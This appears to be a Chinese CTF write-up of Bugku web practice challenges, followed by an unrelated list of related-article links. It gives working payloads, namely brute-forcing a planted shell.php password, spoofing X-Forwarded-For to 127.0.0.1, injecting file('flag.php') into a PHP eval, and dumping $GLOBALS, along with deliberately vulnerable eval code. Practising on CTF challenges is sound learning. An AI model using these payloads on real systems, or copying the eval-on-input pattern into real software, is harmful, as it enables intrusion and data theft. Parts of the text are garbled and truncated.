bugku ctf

简介: bugku ctf练习平台

bugku ctf

game1

描  述: game1

网站被黑

WEB

描  述: 网站被黑了 黑客会不会留下后门

第一步扫目录 shell.php路径

第二部 pass密码1111抓包爆破

得到hacker

flag{94ec3a0b6b2ecb817a0fb5018f1b211e}

本地管理员

WEB

描  述: 本地管理员

直接admin test123会提示IP禁止访问,请联系本地管理员登陆,IP已�

请求包添加

X-Forwarded-For:127.0.0.1

eval

描  述: eval

<?php
    include "flag.php";
    $a = @$_REQUEST['hello'];
    eval( "var_dump($a);");
    show_source(__FILE__);
?>
http://x.x.x.x:13063/?hello=file("flag.php")

变量1

WEB

描  述: 题目变量1

$a=b
$b=c
echo $$a
这时候会输出c
GLOBALS:一个包含了全部变量的全局组合数组。变量的名字就是数组的键。
flag In the variable!
<? php 
error_reporting(0); //关闭php错误显示
include "flagl. php"; //引入flag1.php文件代码
highlight_file(file); 
if(isset($_GET[' args'])){//通过get方式传递 args变量才能执行if里面的代码
    $args =$_GET[' args']; 
    if(! preg_match("/\w+$/", Sargs)){//用正则表达式判断$args值,是否为任意大小写字母和0到9以及下划线组成,不是就打印"args error!";是执行var_dump($$args)。
      die("args error!"); 
    }
    eval("var_dump(SSargs);");
}
?>

?args=GLOBALS

头等舱

WEB

描  述: 头等舱

打开网页什么也没有

使用burp

相关文章
|
安全 关系型数据库 Java
SonarQube实战:部署(一)
基于Docker部署SonarQube及中文汉化。
770 0
|
机器学习/深度学习 监控 算法
YoloV(You Only Look Once)是一种基于深度学习的目标检测算法
YoloV(You Only Look Once)是一种基于深度学习的目标检测算法
589 0
|
Web App开发 移动开发 JavaScript
【视频直播篇一】入门篇
公司产品要集成视频直播,原来找的一家第三方厂家已经对接好了,后来领导说成本太高要换。拿到同行的产品来看,发现他们用的是rtmp协议的直播流。领导说要上这个,把这个任务交给我,当时都蒙圈了。这啥玩意?!从来没见过啊。领导的话就是命令,没办法,硬着头皮也要上。 花了几天时间稍微入了门,在这里总结一下。 首先直播中有两个非常重要的概念:推流、拉流。通俗来讲,推流指的就是我们在直播平台看到的主播那一端采集摄像头数据推送到视频流服务器。而拉流就是观众这一段使用pc、移动端播放直播视频了。
879 0
|
负载均衡 监控 安全
如何管理 Docker Swarm 集群和节点
【10月更文挑战第7天】
248 3
|
机器学习/深度学习 人工智能 自然语言处理
【深度学习】python之人工智能应用篇——视频生成技术
视频生成技术是一种基于深度学习和机器学习的先进技术,它使得计算机能够根据给定的文本、图像、视频等单模态或多模态数据,自动生成符合描述的、高保真的视频内容。这种技术主要依赖于深度学习模型,如生成对抗网络(GAN)、自回归模型(Auto-regressive Model)、扩散模型(Diffusion Model)等。其中,GAN由两个神经网络组成:一个生成器用于生成逼真的图像或视频,另一个判别器用于判断生成的图像或视频是否真实。通过不断的对抗学习,生成器和判别器共同优化,以产生更高质量的视频。
628 2
|
前端开发 JavaScript 程序员
探索JavaScript宝库:打开基础知识与实用技能之门(数据类型与变量+ 条件与循环+函数与模块+DOM+异常+ES6)
探索JavaScript宝库:打开基础知识与实用技能之门(数据类型与变量+ 条件与循环+函数与模块+DOM+异常+ES6)
130 0
|
设计模式 前端开发 C#
C#开发中使用委托的作用和好处
先看概念,什么是委托? 从程序的角度来讲:你就可以把委托看成是用来执行方法(函数)的一个“指针” 通俗的说就是:通过委托,我们可以把方法当成参数传递。 这里我举个例子:“设想,如果我们写了一个厨师做菜的方法,里面有拿菜、切菜、配菜、炒菜四个步骤,但编写此方法代码的人想让配菜这个环节让调用方法的人来实现,换句话说,就是想把方法作为参数来传递,那么怎么来实现呢? 方法1:使用接口,这里不是我们讨论的。
7922 0
|
存储 JavaScript
【ES6系列第二篇】适用JS初学者的Set对象和Map对象学习笔记
【ES6系列第二篇】适用JS初学者的Set对象和Map对象学习笔记
201 0